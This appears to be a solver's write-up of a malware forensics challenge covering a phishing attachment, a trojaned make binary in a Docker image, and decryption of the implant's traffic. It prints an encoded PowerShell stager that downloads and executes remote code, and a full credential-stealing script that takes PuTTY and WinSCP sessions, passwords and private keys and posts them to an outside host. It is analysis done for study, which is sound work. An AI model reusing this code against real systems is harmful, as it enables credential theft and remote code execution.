follow what the discord instructions
open pcap and plug the cidr in to wireshark ip.addr={cidr}
victim -> attacker
- 203.0.113.120 -> 172.22.10.203
- 192.168.212.45 -> 172.22.10.203
- 192.168.195.32 ->172.22.10.203
see if the proxy log has the attacker IP we saw before
cat proxy.log | grep '172.22.10.203' which returns the following result
2021-03-16 08:03:21 42 10.58.121.64 200 TCP_MISS 12734 479 GET http tcthy.invalid chairman - - DIRECT 172.22.10.203 application/octet-stream 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko' PROXIED none - 10.58.121.11 SG-HTTP-Service - none -take the timestamp the seen in the log and compare it to the timespans between when users are logged in according to the logs to see who might have been comprimised.
$logon = Get-Content ./logins.json | ConvertFrom-Json
for ($i = 0; $i -lt $logon.Count; $i++) {
if($logon[$i].EventId -eq 4624){
$val = $logon | Where-Object {
(get-date -Date $_.TimeCreated) -gt (get-date -date $logon[$i].TimeCreated) -and
$_.PayloadData3 -eq $logon[$i].PayloadData3
}
for ($j = 0; $j -lt $val.Count; $j++) {
if ($val[$j].EventId -eq 4634){
#set 4-hours ahead in response to the proxy.log file being UTC-0400
$UtcTime = Get-Date -Date "2021-03-16 12:03:21Z"
$Start = Get-Date -Date $logon[$i].TimeCreated
$End = Get-Date -Date $val[$j].TimeCreated
if($UtcTime -gt $start -and $UtcTime -lt $end ){
write-host($UTCTime)
write-host($Start)
write-host($End)
Write-Host("look at " + $logon[$i].PayloadData3)
}
}
}
} The result is that logon session id (LogonId: 0X30D0E7) is to blame
looking at the emails and the attachements message 16 (Message-ID: 161587340000.22130.61141000145085806@oops.net) has a strange image (see below)
--===============2821242667320483337==
Content-Type: image/jpeg
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sam3.jpg"
MIME-Version: 1.0
this image is actually a base64 encode powershell payload that is encoded and set to run silently
powershell -nop -noni -w Hidden -enc JABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAOgAvAC8AdABjAHQAaAB5AC4AaQBuAHYAYQBsAGkAZAAvAGMAaABhAGkAcgBtAGEAbgAnACkACgAKACQAcAByAGUAdgAgAD0AIABbAGIAeQB0AGUAXQAgADEANwAzAAoACgAkAGQAZQBjACAAPQAgACQAKABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAHMALgBsAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAKACAAIAAgACAAJABwAHIAZQB2ACAAPQAgACQAYgB5AHQAZQBzAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAHAAcgBlAHYACgAgACAAIAAgACQAcAByAGUAdgAKAH0AKQAKAAoAaQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjACkAKQAKAA==This encoded portion then is further extracted to:
$bytes = (New-Object Net.WebClient).DownloadData('http://tcthy.invalid/chairman')
$prev = [byte] 173
$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
$prev = $bytes[$i] -bxor $prev
$prev
})
iex([System.Text.Encoding]::UTF8.GetString($dec))now that we know that the web server is calling for http://tcthy.invalid/chairman we can look for that in the pcap to see the bytes that are pulled down when that file is downloaded. (ip.addr == 172.22.10.203 look for the http call for chairman)
then by manipulating the powershell exploit to read in the hex and do to bxor operation we can get the plain text of the droplet
#Coverts the Hexdump from wireshark
Function Convert-HexToByteArray {
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[String]
$HexString
)
$Bytes = [byte[]]::new($HexString.Length / 2)
For($i=0; $i -lt $HexString.Length; $i+=2){
$Bytes[$i/2] = [convert]::ToByte($HexString.Substring($i, 2), 16)
}
$Bytes
}
$bytes = Convert-HexToByteArray -HexString (Get-Content ./Droplet.txt)
$prev = [byte] 173
$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
$prev = $bytes[$i] -bxor $prev
$prev
})
write-host ([System.Text.Encoding]::UTF8.GetString($dec))this creates the following powershell script
$global:log = ""
function Write-Log($out) {
$global:log += $out + "`n"
}
function Invoke-SessionGopher {
# Value for HKEY_USERS hive
$HKU = 2147483651
# Value for HKEY_LOCAL_MACHINE hive
$HKLM = 2147483650
$PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
$WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
Write-Log "Digging on $(Hostname)..."
# Aggregate all user hives in HKEY_USERS into a variable
$UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
# For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
foreach($Hive in $UserHives) {
# Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
$UserObject = New-Object PSObject
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
$ArrayOfPPKFiles = New-Object System.Collections.ArrayList
$objUser = (GetMappedSID)
$Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
$UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
# Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
$PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
$WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
if (Test-Path $WinSCPPath) {
# Aggregates all saved sessions from that user's WinSCP client
$AllWinSCPSessions = Get-ChildItem $WinSCPPath
(ProcessWinSCPLocal $AllWinSCPSessions)
} # If (Test-Path WinSCPPath)
if (Test-Path $PuTTYPath) {
# Store .ppk files
$PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
# Aggregates all saved sessions from that user's PuTTY client
$AllPuTTYSessions = Get-ChildItem $PuTTYPath
(ProcessPuTTYLocal $AllPuTTYSessions)
(ProcessPPKFile $PPKExtensionFilesINodes)
} # If (Test-Path PuTTYPath)
} # For each Hive in UserHives
Write-Host "Final log:"
$global:log
} # Invoke-SessionGopher
####################################################################################
####################################################################################
## Registry Querying Helper Functions
####################################################################################
####################################################################################
# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
function GetMappedSID {
# If getting SID from remote computer
if ($iL -or $Target -or $AllDomain) {
# Get the username for SID we discovered has saved sessions
$SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
$Value = "ProfileImagePath"
return (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
# Else, get local SIDs
} else {
# Converts user SID in HKEY_USERS to username
$SID = (Split-Path $Hive.Name -Leaf)
$objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
return $objSID.Translate( [System.Security.Principal.NTAccount])
}
}
####################################################################################
####################################################################################
## File Processing Helper Functions
####################################################################################
####################################################################################
function ProcessThoroughLocal($AllDrives) {
foreach ($Drive in $AllDrives) {
# If the drive holds a filesystem
if ($Drive.Provider.Name -eq "FileSystem") {
$Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
foreach ($Dir in $Dirs) {
Switch ($Dir.Extension) {
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
}
}
}
}
}
function ProcessPuTTYLocal($AllPuTTYSessions) {
# For each PuTTY saved session, extract the information we want
foreach($Session in $AllPuTTYSessions) {
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname,Keyfile
$PuTTYSessionObject.Source = $Source
$PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
$PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
$PuTTYSessionObject.Keyfile = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "PublicKeyFile" -ErrorAction SilentlyContinue).PublicKeyFile)
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
# Grab keyfile inode and add it to the array if it's a ppk
$Dirs = Get-ChildItem $PuTTYSessionObject.Keyfile -Recurse -ErrorAction SilentlyContinue
foreach ($Dir in $Dirs) {
Switch ($Dir.Extension) {
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
}
}
}
if ($o) {
$ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
} else {
Write-Log "PuTTY Sessions"
Write-Log ($ArrayOfPuTTYSessions | Format-List | Out-String)
}
# Add the array of PuTTY session objects to UserObject
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
} # ProcessPuTTYLocal
function ProcessWinSCPLocal($AllWinSCPSessions) {
# For each WinSCP saved session, extract the information we want
foreach($Session in $AllWinSCPSessions) {
$PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
$WinSCPSessionObject.Source = $Source
$WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
$WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
$WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
$WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
if ($WinSCPSessionObject.Password) {
$MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
# If the user is not using a master password, we can crack it:
if (!$MasterPassUsed) {
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
# Else, the user is using a master password. We can't retrieve plaintext credentials for it.
} else {
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
}
}
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
} # For each Session in AllWinSCPSessions
if ($o) {
$ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
} else {
Write-Log "WinSCP Sessions"
Write-Log ($ArrayOfWinSCPSessions | Format-List | Out-String)
}
# Add the array of WinSCP session objects to the target user object
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
} # ProcessWinSCPLocal
function ProcessPPKFile($PPKExtensionFilesINodes) {
# Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
# Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
$PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
$PPKFileObject."Source" = (Hostname)
# The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
$PPKFileObject."Path" = $Path
$PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
$PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
$PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
$NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
$PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
$PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
# Add the object we just created to the array of .ppk file objects
[void]$ArrayOfPPKFiles.Add($PPKFileObject)
}
if ($ArrayOfPPKFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
if ($o) {
$ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
} else {
Write-Log "PuTTY Private Key Files (.ppk)"
Write-Log ($ArrayOfPPKFiles | Select-Object * | Format-List | Out-String)
}
}
} # Process PPK File
####################################################################################
####################################################################################
## WinSCP Deobfuscation Helper Functions
####################################################################################
####################################################################################
function DecryptNextCharacterWinSCP($remainingPass) {
# Creates an object with flag and remainingPass properties
$flagAndPass = "" | Select-Object -Property flag,remainingPass
# Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
$firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
$secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
$Added = $firstval + $secondval
$decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
$flagAndPass.flag = $decryptedResult
$flagAndPass.remainingPass = $remainingPass.Substring(2)
return $flagAndPass
}
function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
$CheckFlag = 255
$Magic = 163
$len = 0
$key = $SessionHostname + $SessionUsername
$values = DecryptNextCharacterWinSCP($Password)
$storedFlag = $values.flag
if ($values.flag -eq $CheckFlag) {
$values.remainingPass = $values.remainingPass.Substring(2)
$values = DecryptNextCharacterWinSCP($values.remainingPass)
}
$len = $values.flag
$values = DecryptNextCharacterWinSCP($values.remainingPass)
$values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
$finalOutput = ""
for ($i=0; $i -lt $len; $i++) {
$values = (DecryptNextCharacterWinSCP($values.remainingPass))
$finalOutput += [char]$values.flag
}
if ($storedFlag -eq $CheckFlag) {
return $finalOutput.Substring($key.length)
}
return $finalOutput
}
Invoke-SessionGopher
Start-Sleep 86400
Invoke-WebRequest -uri http://vrqgb.invalid:8080 -Method Post -Body $global:logThe last like gives use the domain the POST request calls to (vrqgb.invalid)
NTUSER.DAT info
Domain: cbc.net DC: \CBC-PDC.cbc.net
The following users and computer combos where found in the registry
- rktbot100@dkr_prd12
- builder04@dkr_prd24
- tester_08@dkr_tst13
- builder02@dkr_prd20
- builder05@dkr_prd38 -no encryption
keys but no entry
- dkr_tst22 -no encryption
- dkr_tst64 -no encryption
- dkr_tst67 -no encryption
- dkr_tst95 -no encryption
The attackers have access to builder05@dkr_prd38. This is beacuse the file existed in NTUSER.dat and there is no encrytion which means there is no password needed to use the key reference
looking at the data in the docker image file given the maintainer information is stored in the JSON file
{
"id": "8c5e81d56d3d10a31fb3b9284ae04f0062348e999aefac685a625ede55587308",
"parent": "536ccc4b5d999ea5fd06cad9b0c8b3ea822d84cf379bc286d9697ddd8ff7c9e7",
"created": "2021-07-22T16:11:31.01858837Z",
"container": "035d0130945e1eb01f5fb032846a934e1b169463843fe3dae4a726f08471b05c",
"container_config": {
"Hostname": "035d0130945e",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ",
"LABEL docker.cmd.build=docker build --no-cache=true --build-arg BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ') --build-arg VCS_REF=$(git log -n 1 --abbrev-commit --pretty='%H') ."
],
"Image": "sha256:f14bbe4faac87ce363db86b397a4afcb1ac785b80caf87eb7c696881208cb0a4",
"Volumes": null,
"WorkingDir": "/usr/local/src",
"Entrypoint": null,
"OnBuild": null,
"Labels": {
"docker.cmd.build": "docker build --no-cache=true --build-arg BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ') --build-arg VCS_REF=$(git log -n 1 --abbrev-commit --pretty='%H') .",
"maintainer": "hernandez.charles@panic.invalid",
"org.opencontainers.image.author": "Charles Hernandez",
"org.opencontainers.image.created": "2021-03-28T12:06:39Z",
"org.opencontainers.image.description": "Build and tests container for PANIC. Runs nightly.",
"org.opencontainers.image.revision": "be3d94bc8340cc6db649f0339b7be4abbf2539da",
"org.opencontainers.image.title": "PANIC Nightly Build and Test"
}
},
"docker_version": "20.10.6",
"config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": ["./build_test.sh"],
"Image": "sha256:f14bbe4faac87ce363db86b397a4afcb1ac785b80caf87eb7c696881208cb0a4",
"Volumes": null,
"WorkingDir": "/usr/local/src",
"Entrypoint": null,
"OnBuild": null,
"Labels": {
"docker.cmd.build": "docker build --no-cache=true --build-arg BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ') --build-arg VCS_REF=$(git log -n 1 --abbrev-commit --pretty='%H') .",
"maintainer": "hernandez.charles@panic.invalid",
"org.opencontainers.image.author": "Charles Hernandez",
"org.opencontainers.image.created": "2021-03-28T12:06:39Z",
"org.opencontainers.image.description": "Build and tests container for PANIC. Runs nightly.",
"org.opencontainers.image.revision": "be3d94bc8340cc6db649f0339b7be4abbf2539da",
"org.opencontainers.image.title": "PANIC Nightly Build and Test"
}
},
"architecture": "amd64",
"os": "linux"
}then docker component added by PANIC is call build_test.sh (see below)
#!/bin/bash
git clone https://git-svr-69.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git repo
cd /usr/local/src/repo
./autogen.sh
make -j 4 install
make checklooking at the run scripts and configuartions nothing looks too out of the place. this lead to me looking at the PATH to see if there was a path hijack
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"in looking at the files there was. In quick inspection the make file had a method called gitGrabber() making the file suspect.
it was placed in the f7cca439f519c3fad85e9fe65db17b4a8a7692a39888dadb8d085184e4fde89b layer @ /usr/bin/make
Useing a combinations of ghidra and GDB w/ GEF there is a function call "sdqgmlkgandis(int)" this function is used to retrive encrypted data from memory. The relevant retrieved values are as follows
| id | value | description |
|---|---|---|
| 0x1 | os | used to format data retived for exil |
| 0x2 | version | used to format data retived for exil |
| 0x3 | username | used to format data retived for exil |
| 0x4 | timestamp | used to format data retived for exil |
| 0x5 | unknown | seems to be place holder for unknown values |
| 0x6 | /tmp/.gglock | lock file to allow only one instance of the program to run at a time |
| 0x7 | /usr/local/src/repo | the repo folder being attacked |
| 0x8 | pidof git | command to get process id of git |
| 0x9 | Commit: | For Git Commit? Has space at end |
| 0xa | Author: | For Git Commit? Has space at end |
| 0xb | Email: | For Git Commit? Has space at end |
| 0xc | Time: | For Git Commit? Has space at end |
| 0xd | No data available | for git |
| 0xe | ninja | the renamed make binary |
| 0xf | %Y-%m-%d | date formating string |
| 0x10 | nightly-exfil | label for TBD most likely web data |
| 0x11 | 1.4.0.3-WGX | version of the malware |
| 0x12 | e399bbafad9351677a3e154916a361407789c41830c2700f9cc4e5b405822259 | hex endoded public key of the listening post |
| 0x13 | 198.51.100.227 | IP address for the listening post |
in here we can see the values requested for IP, version and public key.
the public key coversion was hard because you need to read it it to hex encoded characters. This is done by running x/32c <memory addres> this coverts the address to a string which is 32 bytes
to further confirm this this function below is run. It is the function to send data to the LP on port 6666
wolyxeplhuiyl(ip=0x7ffff77f0c94 "198.51.100.227", port=0x1a0a, output=0x7fffffffeb20 "", length=0x0)Given:
- uuid: 788391bc-6f62-445d-8eac-25a6b17dcb3c
- hex version: bc918378626f5d448eac25a6b17dcb3c
The UUID value used is being set in function ifclgnqxtgtuc(string *uuid,int len). The scratch variable temporarily holds the UUID array of random bytes in the randombytes(uint8_t * arr,int length). Stopping the execution right here you can overwrite the random array with the provided uuid. See the gdb command below to over write the array.
set {uint8_t [16]} <scratch_pointer_address> = {0x78,0x83,0x91,0xbc,0x6f,0x62,0x44,0x5d,0x8e,0xac,0x25,0xa6,0xb1,0x7d,0xcb,0x3c}the function that sends that encrypts the data that is sent out to the LP is yffgvgphkpgei(). Looking at the message varible that is being stored we can see that it get set to the message that is going to be sent out before it is encrypted. With the given UUID we can see that it stores 1dd0e1a455000002000255080010788391bc6f62445d8eac25a6b17dcb3ce6342401 which as a substring contains that UUID. This is the answer to the question.
Goal break the encryption being used to talk to the LP
The Protocol at a highlevel looks like the following and utilizes LibSodium to pass encrypted containers around. the machine_identifer is a comma delinated list of base64 encoded equal to statements getting username, shortversion, os, time
sequenceDiagram
victim->>LP: public_key
Note over victim: hard coded LP public key
victim->>LP: lengthheader + nonce + CryptoBox(Client_secret, LP_Public, machine_identifier)
victim->>LP: lengthheader + nonce + CryptoSecretBox(SHA256(user+version+time), PCommands)
LP-->>victim: LP Verification Response
as seen in the chart after the initial transfer of the machine identifier data is sent to the LP using SHA256 hased values handed off in the machine identifer.This hash is then used as the key in the Cypto_Secret_Box
This makes the target for decryption the Secret Box because Cracking the CryptoBox would take longer than the universe has been around. However the LibSodium library uses xsalsa20 under the hood. This is a stream cipher.
The best solution was to preform a dictionary attack on the session. To facilitate this I wrote the following tool https://github.com/khanson66/Codebreaker-Session-Decryptor then used danielmiessler's list of names as my name target https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt
The returns the following sessions
| ip | key | uuid |
|---|---|---|
| 198.19.36.22 | beckett+0.3.6.5+1615896180 | 63709401-10cb-4a52-b5a5-e83fdd10c4a3 |
| 172.31.98.237 | cathleen+2.0.9.2+1615896189 | 2ea26424-509d-4804-a75c-360a7a2988a3 |
| 172.22.10.88 | root+1.4.0.3+1615896201 | a6d9bc5f-7857-4dd2-9b31-7d735f6544c6 |
| 192.168.195.37 | tallulah+1.1.2.9+1615896210 | 3db4e26e-13ce-4730-a799-ba66000cec15 |
| 192.168.212.45 | hildegaard+3.0.4.8+1615896246 | 3ce970a0-e6d3-4498-87e1-63db65602cd4 |
| 192.168.225.53 | bronwyn+3.4.9.1+1615896253 | 6b674bec-30e6-4fad-94c0-82a619aca04c |
The question only asks for the UUID coming from the DIB address space which are the following ips seen above:
- 192.168.212.45
- 192.168.195.37
- 172.22.10.88